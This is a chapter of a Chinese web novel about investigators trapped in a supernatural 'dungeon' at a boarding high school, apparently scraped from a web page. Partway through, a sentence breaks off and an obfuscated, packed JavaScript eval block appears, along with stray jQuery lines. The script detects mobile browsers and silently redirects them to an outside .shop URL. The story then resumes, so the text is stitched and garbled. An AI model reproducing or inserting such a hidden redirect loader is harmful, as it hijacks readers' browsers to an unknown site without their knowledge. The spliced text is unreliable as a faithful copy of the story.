另一边，严胜几乎是崩溃的。
他和姜照蕴一样是刷新在了一个办公桌后面，但不同的是，他不是在小办公室。
而是在一个巨大、杂乱、嘈杂的空旷房间里。
房间靠墙摆着好几台大型高速打印机，每一台都在规律地发出哒哒声，往外吐着一张张印满了字的卷纸，合奏起来没有一丝和谐，只有令人烦躁的噪音。
刚进副本的严胜脑子还没完全归位，就听见一台打印机发出了刺耳的报警。
严胜赶紧蹦了起来，小心地在满地半人高的纸山里寻找下脚的地方，冲到了陌生的打印机前，看见小小的交互显示屏里显示着——
没纸了。
严胜无语凝噎，抬头在这除了他自己没有一个人但又分外拥挤的文印室里扫视了一圈，无奈之下只能自力更生。
等他手脚生疏地完成给打印机补纸、检查打印任务列表、把打印完的试卷堆整理好等一系列事情之后，本来以为可以松一口气，去副本其他地方探索探索的时候，又有一台打印机报警了。
过去一看，卡纸了。
这边刚处理好，那边又按下葫芦浮起瓢，墨粉不足。
于是他只能继续满头大汗地继续给一众打印机当保姆。
就在这时，门被敲响了。
一个年轻老师站在门口，手里拿着一块U盘，敲了敲敞开的门板吸引了严胜的注意力。
“严老师，这里有一份教务资料，主任急要，午饭之前能给我吗？”
严胜抬头看了眼挂钟，十一点。
他又转头看了看忙得热火朝天一点空闲也抽不出来的众打印机。
你们这里几点吃午饭？
严胜艰难道：“可能不太行。”
“别遇到点困难就打退堂鼓，克服一下。”年轻老师道，“主任急要，刘校长也等着呢。”
身材如铁塔，三围合一码的严胜被这副颐指气使的态度给惹毛了，于是他毛茸茸地接过了U盘，操作着一卡一顿的Windows XP系统，让年轻老师的文件插了个队。
*
姜照蕴一边在办公楼里溜达，一边不动声色地观察周遭的人，希望能从中找到她的队友。
这并不是一件容易的事，她已经发现了，这是一所完整的高中学校。而即使是体量较小的高中，也至少有上千学生和上百老师，还有数量庞大的其他职工。
要从里面找出她的五个队友，还有数量未知的副本受害人，虽达不到大海捞针的程度，但这难度也属实是有些高了。
更别说还要找薛定谔的副本主线人物。
就在姜照蕴一路下楼，溜达到二楼尽头附近的时候，迎面碰上了一个抱着一沓纸，脚步如流星飒沓的年轻老师。
“嗨，姜老师。”那老师从怀里的纸堆里抽出一张塞给她，“下午一点半政教处开班主任会议，这是会议材料，碰上了就正好给你了。赶紧看看，听说又要加强安全管理了。”
……合着她不仅成了语文老师，还是班主任？
姜照蕴只得接过了那张纸，堆笑着送走了风风火火的年轻老师。
“姜照蕴？”
身后传来了熟悉的声音。
姜照蕴一转头，看见严胜从不远处的门洞后面探出了一个头。
姜照蕴眼前一亮。虽然她到处溜达只是想碰运气，没想到居然真的找到了一个队友。
等到姜照蕴进到文印室里面，被打印机哒哒的噪音灌了满耳的时候，她就忍不住佩服起严胜的听力了。
这么吵，他是怎么听见她在外面的？
“你这是……”姜照蕴僵硬地站在一堆纸山里，一动也不敢动，生怕把哪座山给碰倒了。
严胜抹了一把汗，一脸不好意思道：“抱歉，我还没能腾出空来去探索副本。”
“我也没走多少地方。”姜照蕴安慰道，“副本才刚开始，不着急的。”
严胜笑了笑，问道：“我的身份你看见了，你的身份是什么？”
“……语文老师。”姜照蕴硬着头皮道，“你知道怎么教语文吗？”
严胜绞尽脑汁思考了半天，不确定道：“背课文？”
姜照蕴：“……”
看来是不能指望这位了。
就在这时，广播铃声响了，巨大的音量响彻校园。
姜照蕴摸出手机看了眼时间：“这是午饭时间到了？”
她朝窗外看去，铃声响后的第一分钟，对面两栋装满了防盗窗的封闭式教学楼还只是零零星星地吐出些人。随后就有如江河决堤，黑压压的学生以冲积扇的形状从楼道口冲刷了出来，以一种不快不慢的速度朝着食堂奔去。
密密麻麻的学生散在空旷校园里，朝同一个方向移动，气势犹如丧尸过境。
“……不知道怎么的，”姜照蕴找回了自己的声音，“我觉得这个场景有点诡异，但说不出来。”
严胜也扒到了窗户口，看了会儿之后，疑惑道：“这帮学生怎么不跑？”
“跑？”姜照蕴定睛看去，果然发现这些学生大部分都没在跑，但也不是正常走路，而是以一种类似竞走的方式倒腾着两条腿，努力前进。
……难怪看上去那么诡异。
“你看那个人，”严胜突然激动起来，“是不是费云飞？”
学生群靠近边缘的地方，面容熟悉的男人叼着哨子，正在严阵以待地前后巡逻。
还真是费云飞。
“这次还挺顺利的。”严胜高兴道，“副本这么大，竟然这么快就找到了这么多队友。”
与躁动起来的教学楼形成对比的是，办公楼相当安静。
“话说回来，”姜照蕴提出了一个重要问题，“我们要去哪里吃饭？”
事实证明，学校不会饿着老师。
这是一所寄宿高中，还是一所在当地十分有名、升学率很高的寄宿高中。
食堂有专门的教师食堂，虽然也是大锅饭，味道不怎么样，但总归是比学生食堂的大大锅饭强些。
学校还有给老师的教职工宿舍，只是有些奇怪的，教职工宿舍被圈在了学校的西南角，由一扇小门和学校其他区域连接，教职工宿舍外是学校的西门。
姜照蕴、严胜、费云飞三个人都是住宿舍的教职工。
考虑到可能有队友随机到了学生的身份，于是姜照蕴和严胜在吃饭前，都跑去学生食堂守株待兔了，看能不能蹲到个队友。
但遗憾的是，作为一所寄宿学校，为了给数量庞大的学生喂食，食堂占地面积广大，建了三层楼，而且有好几个不同的出入口。姜照蕴和严胜都没有分身术，只能随机挑了两个看上去人流比较大的出入口，蹲了半天，也没蹲到人，只能悻悻地自行去吃饭。
而学生们吃完午饭，终于不像竞走的丧尸了，人潮方向明确地钻进了各自的宿舍楼。
学校保安费云飞终于结束了他的高峰期巡逻工作，饥肠辘辘地去食堂找食吃了。
姜照蕴和严胜没回宿舍，都等着和费云飞交流情报呢。
“可饿死我了。”费云飞扒了一口饭，“我刚进副本就赶上保卫科科长训话，让我们都好好紧紧皮，高峰期学生多，要是哪一个出了问题，唯我们是问。”
姜照蕴和严胜面面相觑。
“这是什么道理？”费云飞还在不停地低声抱怨，“学校三个年级，一个年级十几个班，两三千个学生，都挤在半个小时里。保卫科就十几个人，校门口岗亭的保安还分不出来。人又不是三头六臂，哪里看得过来？”
“不说这个了。”费云飞看向了两人，“你们是什么身份？有发现什么吗？”
“我是语文老师兼班主任，他是文印室负责人。”姜照蕴道，“目前没有什么新发现。我下午一点半要去参加班主任会议，可能会有新信息吧。”
严胜：“没发现其他人吗？”
“没有。”费云飞翻了个白眼，“两栋大教学楼，两三千个学生啊，拿头去找？”
“我猜他们可能随机成学生了。”姜照蕴道，“我们在教职工食堂守了这么长时间了，如果他们是教职工的话，应该能想到来食堂碰头。”
学生的话就不好说了。
“现代背景的副本就这点不好。”费云飞啧了一声，“我们混在里面不显眼，难找。”
这时，教职工食堂门口传来一道清脆的女声：“请问这里是教职工食堂吗？”
正凑在一起说小话的三人立刻抬头看了过去。是一个三十多岁的女人拦住了一个从教职工食堂出来的人。
女人笑着说道：“不好意思，以前都是家里人给我送饭的，今天出了点小意外，我还是第一次来食堂吃饭。”
直到女人得到了想要的回答，走进了教职工食堂，那三个人还在对她行注目礼。
视线有些过于肆无忌惮了，女人一进门就发现了。但她无视了这目光，去窗口那里打了一份饭，找了个座位坐了下来。
三人互相对视了一眼，费云飞刚想起身，就被姜照蕴给按了下来。
姜照蕴起身坐到了女人的对面。女人略有些不自然地抬头，对姜照蕴笑了笑：“您有什么事吗？”
姜照蕴低声：“穿越者？”
女人的笑容一下子就挂不住了，甚至露出了些许惊恐。
“我也是哦。”姜照蕴笑着眨了眨眼，随后对一直观察
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17922041|212471||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着这边的费云飞和严胜招了招手。
三位特调局探索员四下看看，确认无人关注这里，就向这位女士简明扼要地解释了一下副本的事，以及做了个自我介绍。
“呃……”女人一副费解的样子，“所以我们……是要找到异常点，然后就可以回到现实了？”
“对。”费云飞道，“不过这是我们的工作。你只需要保证自己的安全，以此为前提做些探索也可以。但一定要量力而行，觉得不行就少说少做少错。”
“冒昧地问一下，您叫什么名字？”
“陶艾欣。”
“好的，陶艾欣女士。在副本里，名字是非常重要的东西。在没有npc的时候，我们都会以全名称呼彼此。”
“……好。”
“可以告诉我们您的副本身份吗？”
“我是宿舍管理员，高一女生宿舍的。”陶艾欣说，“之前学生都在外面，我没敢出来。学生们都回宿舍，在自习室安顿下来了，宿舍楼门落锁了，我才出来吃饭的。”
闻言，三人略有些失望。
这个副本没有换身体，他们九队还没找到的三个都是男人，不可能刷新在女生宿舍里。
“副本可能有其他被卷入的受害者。”费云飞失望之余，也没有停滞于此，道，“麻烦你稍微留意一下，如果可能的话，也可以分享一下信息，但必须以保证自身安全为前提。”
陶艾欣有些懵地点头。
时间一点点地流逝，他们在这里已经拖了好一段时间，教职工食堂的人越来越少，他们不能继续留下去了。
分开之前，姜照蕴突然想起了什么。
“对了，”她坚持不懈地又问了一遍，“你们有人知道语文怎么教吗？”
收获了几张空白的表情。
陶艾欣建议道：“你要不上网查一查别人的教案，或者教学视频？”
有道理。姜照蕴道了谢。
虽然这个办法治标不治本，学生又不是死人，是会提问的，到时候她怕不是得挂在讲台上。
但总比束手无策强些。
*
教职工宿舍看上去不怎么样，但也算麻雀虽小五脏俱全，虽然随处可见的剥落墙皮昭示了它的年龄，但还算干净。单身公寓虽然没有厨房，但有独卫也算到了及格线。
姜照蕴等三人分头把教职工宿舍检查了一遍，除了这是栋老楼外没发现什么特殊的地方。
到了下午，姜照蕴回到自己的办公室后，屁股还没坐热乎，她就被叫去开班主任会议了，尽管规定的一点半还没到。
上午姜照蕴还把这场会议当作潜在信息点，但等到领导开始讲话后，她就发现，自己真是太天真了。
总有一些人，他们能把正确的废话给讲出一百零八个花样，并车轱辘地来回讲上N个小时，上不封顶。
姜照蕴努力听了半天，实在抓不出任何重点。
她有时候就很想质问一下这些领导，她这个听的人都累了，您讲的人都不累的吗？
当然，这种落人面子的质问是不可能问出口的。
说远了。这场会议也不能说全无重点，总之翻来覆去的就是，安全，安全，安全。
不许学生追逐打闹，课间时间不得离开各自楼层。不许学生携带任何尖锐物品。操场必须常有人巡逻。教学楼必须常有人巡逻。小树林必须常有人巡逻。
总之就是随处都必须有人巡逻。
姜照蕴忍不住在心里吐槽了下这到底是学校还是监狱。
不过这么强调安全，学校里是发生过什么事吗？
于是在会议后，回办公室的路上，姜照蕴就随机找了一个看上去好说话的中年老师旁敲侧击了一下。
“领导真的很重视安全啊。”她装作感慨地说道。
被姜照蕴搭话的老师叹了口气：“这都说了多少遍了，耳朵都要起茧子了。”
姜照蕴貌似不经意道：“不过现在也算是特殊时期，领导这样也可以理解。”
中年老师偏头看了姜照蕴一眼，凑近低声道：“你也听说了？”
姜照蕴的心稍稍提了起来，装出一副沉重的表情：“听说了。”
“听说了也不能讲！”中年老师严肃道。
姜照蕴懵了一下。这发展不太对啊。
“你们年轻人别不把这当一回事。”中年老师教训道，“听我的，正常上班，正常下班，跟人结伴走，别落单，别乱说话。知道了吗？”
姜照蕴茫然点头。
中年老师终于满意了。
*
当天下午，费云飞传过来一条消息：
保卫科最近死过一个人。